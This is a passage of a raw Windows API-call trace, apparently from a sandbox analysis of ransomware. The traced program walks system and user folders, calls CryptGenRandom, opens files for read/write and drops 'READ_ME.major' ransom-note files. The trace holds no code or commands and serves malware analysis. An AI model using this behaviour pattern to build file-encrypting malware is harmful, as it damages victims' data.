hHeap=0x570000) returned 1 [0144.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40630 [0144.318] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40630 | out: hHeap=0x570000) returned 1 [0144.318] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11a8 | out: hHeap=0x570000) returned 1 [0144.318] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ebd8 | out: hHeap=0x570000) returned 1 [0144.318] FindNextFileW (in: hFindFile=0x60ea28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1506e19e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.318] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7de0 | out: hHeap=0x570000) returned 1 [0144.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7e28 [0144.318] GetLastError () returned 0x0 [0144.318] SetLastError (dwErrCode=0x0) [0144.318] GetLastError () returned 0x0 [0144.318] SetLastError (dwErrCode=0x0) [0144.318] GetLastError () returned 0x0 [0144.318] SetLastError (dwErrCode=0x0) [0144.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef58 [0144.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bf028 [0144.318] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0144.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1068 [0144.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60ef68 [0144.318] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60ef68 | out: hHeap=0x570000) returned 1 [0144.318] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40420 [0144.318] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40420 | out: hHeap=0x570000) returned 1 [0144.318] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1068 | out: hHeap=0x570000) returned 1 [0144.318] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef58 | out: hHeap=0x570000) returned 1 [0144.318] FindNextFileW (in: hFindFile=0x60ea28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9baa67, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x31acad58, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootres.dll.mui", cAlternateFileName="BOOTRE~1.MUI")) returned 1 [0144.318] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e28 | out: hHeap=0x570000) returned 1 [0144.319] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7b10 [0144.319] GetLastError () returned 0x0 [0144.319] SetLastError (dwErrCode=0x0) [0144.319] GetLastError () returned 0x0 [0144.319] SetLastError (dwErrCode=0x0) [0144.319] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.319] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b10 | out: hHeap=0x570000) returned 1 [0144.319] GetLastError () returned 0x0 [0144.319] SetLastError (dwErrCode=0x0) [0144.319] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1068 [0144.319] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1068 | out: hHeap=0x570000) returned 1 [0144.319] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0144.319] FindNextFileW (in: hFindFile=0x60ea28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1506e19e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1506e19e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1506e19e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0144.319] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.319] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c79a8 [0144.319] GetLastError () returned 0x0 [0144.319] SetLastError (dwErrCode=0x0) [0144.319] GetLastError () returned 0x0 [0144.319] SetLastError (dwErrCode=0x0) [0144.319] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.319] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c79a8 | out: hHeap=0x570000) returned 1 [0144.319] GetLastError () returned 0x0 [0144.319] SetLastError (dwErrCode=0x0) [0144.319] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0144.319] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0144.319] FindNextFileW (in: hFindFile=0x60ea28, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1506e19e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1506e19e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1506e19e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0144.319] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0144.319] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1108 [0144.319] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0144.320] SetFileAttributesW (lpFileName="\\Boot\\Resources\\en-US\\bootres.dll.mui", dwFileAttributes=0x80) returned 0 [0144.320] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0144.320] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0144.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0144.320] CreateFileW (lpFileName="\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0144.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0144.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1108 | out: hHeap=0x570000) returned 1 [0144.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0144.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0144.320] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7ac8 [0144.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0144.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0144.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc800 | out: hHeap=0x570000) returned 1 [0144.320] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Adobe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x150ba6e4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60ec68 [0144.320] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.320] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7ba0 [0144.320] GetLastError () returned 0x5 [0144.320] SetLastError (dwErrCode=0x5) [0144.320] GetLastError () returned 0x5 [0144.321] SetLastError (dwErrCode=0x5) [0144.321] GetLastError () returned 0x5 [0144.321] SetLastError (dwErrCode=0x5) [0144.321] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0144.321] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0144.321] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0144.321] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1090 [0144.321] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60e8a8 [0144.321] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e8a8 | out: hHeap=0x570000) returned 1 [0144.321] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403f0 [0144.321] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403f0 | out: hHeap=0x570000) returned 1 [0144.321] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1090 | out: hHeap=0x570000) returned 1 [0144.321] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0144.321] FindNextFileW (in: hFindFile=0x60ec68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x150ba6e4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.321] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7ba0 | out: hHeap=0x570000) returned 1 [0144.321] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c79a8 [0144.321] GetLastError () returned 0x5 [0144.321] SetLastError (dwErrCode=0x5) [0144.321] GetLastError () returned 0x5 [0144.321] SetLastError (dwErrCode=0x5) [0144.321] GetLastError () returned 0x5 [0144.321] SetLastError (dwErrCode=0x5) [0144.321] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0144.321] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bf028 [0144.321] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf028 | out: hHeap=0x570000) returned 1 [0144.321] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1068 [0144.321] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60e968 [0144.321] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e968 | out: hHeap=0x570000) returned 1 [0144.321] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40498 [0144.321] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40498 | out: hHeap=0x570000) returned 1 [0144.322] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1068 | out: hHeap=0x570000) returned 1 [0144.322] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0144.322] FindNextFileW (in: hFindFile=0x60ec68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x4511a9a6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x28e82a8b, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x28e82a8b, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ARM", cAlternateFileName="")) returned 1 [0144.322] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c79a8 | out: hHeap=0x570000) returned 1 [0144.322] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7cc0 [0144.322] GetLastError () returned 0x5 [0144.322] SetLastError (dwErrCode=0x5) [0144.322] GetLastError () returned 0x5 [0144.322] SetLastError (dwErrCode=0x5) [0144.322] GetLastError () returned 0x5 [0144.322] SetLastError (dwErrCode=0x5) [0144.322] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7b58 [0144.322] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1068 [0144.322] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c78d0 [0144.322] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.322] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d290 [0144.322] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7960 [0144.322] GetLastError () returned 0x5 [0144.322] SetLastError (dwErrCode=0x5) [0144.322] GetLastError () returned 0x5 [0144.322] SetLastError (dwErrCode=0x5) [0144.322] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0144.322] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7960 | out: hHeap=0x570000) returned 1 [0144.322] GetLastError () returned 0x5 [0144.322] SetLastError (dwErrCode=0x5) [0144.322] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b68b0 [0144.322] CreateFileW (lpFileName="\\Users\\All Users\\Adobe\\ARM\\READ_ME.major" (normalized: "c:\\users\\all users\\adobe\\arm\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ac [0144.365] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b68b0 | out: hHeap=0x570000) returned 1 [0144.365] WriteFile (in: hFile=0x5ac, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.366] CloseHandle (hObject=0x5ac) returned 1 [0144.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0144.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0144.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0144.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c78d0 | out: hHeap=0x570000) returned 1 [0144.366] FindNextFileW (in: hFindFile=0x60ec68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x150ba6e4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x150ba6e4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x150ba6e4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0144.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cc0 | out: hHeap=0x570000) returned 1 [0144.366] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7ba0 [0144.366] GetLastError () returned 0x0 [0144.366] SetLastError (dwErrCode=0x0) [0144.366] GetLastError () returned 0x0 [0144.366] SetLastError (dwErrCode=0x0) [0144.366] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0144.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7ba0 | out: hHeap=0x570000) returned 1 [0144.366] GetLastError () returned 0x0 [0144.366] SetLastError (dwErrCode=0x0) [0144.366] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1270 [0144.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1270 | out: hHeap=0x570000) returned 1 [0144.366] FindNextFileW (in: hFindFile=0x60ec68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x150ba6e4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x150ba6e4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x150ba6e4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0144.366] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0144.366] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7ac8 | out: hHeap=0x570000) returned 1 [0144.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0144.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc940 | out: hHeap=0x570000) returned 1 [0144.367] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Application Data\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x150ba6e4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x150ba6e4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x150ba6e4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0xffffffff [0144.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7918 [0144.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0144.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0144.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0144.367] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Comms\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x150ba6e4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60e968 [0144.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0144.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7d50 [0144.367] GetLastError () returned 0x5 [0144.367] SetLastError (dwErrCode=0x5) [0144.367] GetLastError () returned 0x5 [0144.367] SetLastError (dwErrCode=0x5) [0144.367] GetLastError () returned 0x5 [0144.367] SetLastError (dwErrCode=0x5) [0144.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0144.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0144.367] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0144.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0144.367] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60e8a8 [0144.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e8a8 | out: hHeap=0x570000) returned 1 [0144.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0144.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0144.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0144.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0144.368] FindNextFileW (in: hFindFile=0x60e968, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x150ba6e4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d50 | out: hHeap=0x570000) returned 1 [0144.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7b10 [0144.368] GetLastError () returned 0x5 [0144.368] SetLastError (dwErrCode=0x5) [0144.368] GetLastError () returned 0x5 [0144.368] SetLastError (dwErrCode=0x5) [0144.368] GetLastError () returned 0x5 [0144.368] SetLastError (dwErrCode=0x5) [0144.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea50 [0144.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0144.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0144.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11a8 [0144.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60ea68 [0144.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60ea68 | out: hHeap=0x570000) returned 1 [0144.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0144.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0144.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11a8 | out: hHeap=0x570000) returned 1 [0144.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea50 | out: hHeap=0x570000) returned 1 [0144.368] FindNextFileW (in: hFindFile=0x60e968, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150ba6e4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x150ba6e4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x150ba6e4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0144.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7b10 | out: hHeap=0x570000) returned 1 [0144.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7eb8 [0144.368] GetLastError () returned 0x5 [0144.368] SetLastError (dwErrCode=0x5) [0144.368] GetLastError () returned 0x5 [0144.368] SetLastError (dwErrCode=0x5) [0144.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0144.368] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7eb8 | out: hHeap=0x570000) returned 1 [0144.368] GetLastError () returned 0x5 [0144.368] SetLastError (dwErrCode=0x5) [0144.368] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1090 [0144.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1090 | out: hHeap=0x570000) returned 1 [0144.369] FindNextFileW (in: hFindFile=0x60e968, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150ba6e4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x150ba6e4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x150ba6e4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0144.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7cc0 [0144.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7918 | out: hHeap=0x570000) returned 1 [0144.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0144.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca80 | out: hHeap=0x570000) returned 1 [0144.369] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Desktop\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150ba6e4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x150ba6e4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x150ba6e4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0xffffffff [0144.369] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0144.369] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cc0 | out: hHeap=0x570000) returned 1 [0144.369] HeapFree (in: hHeap=0x570000, 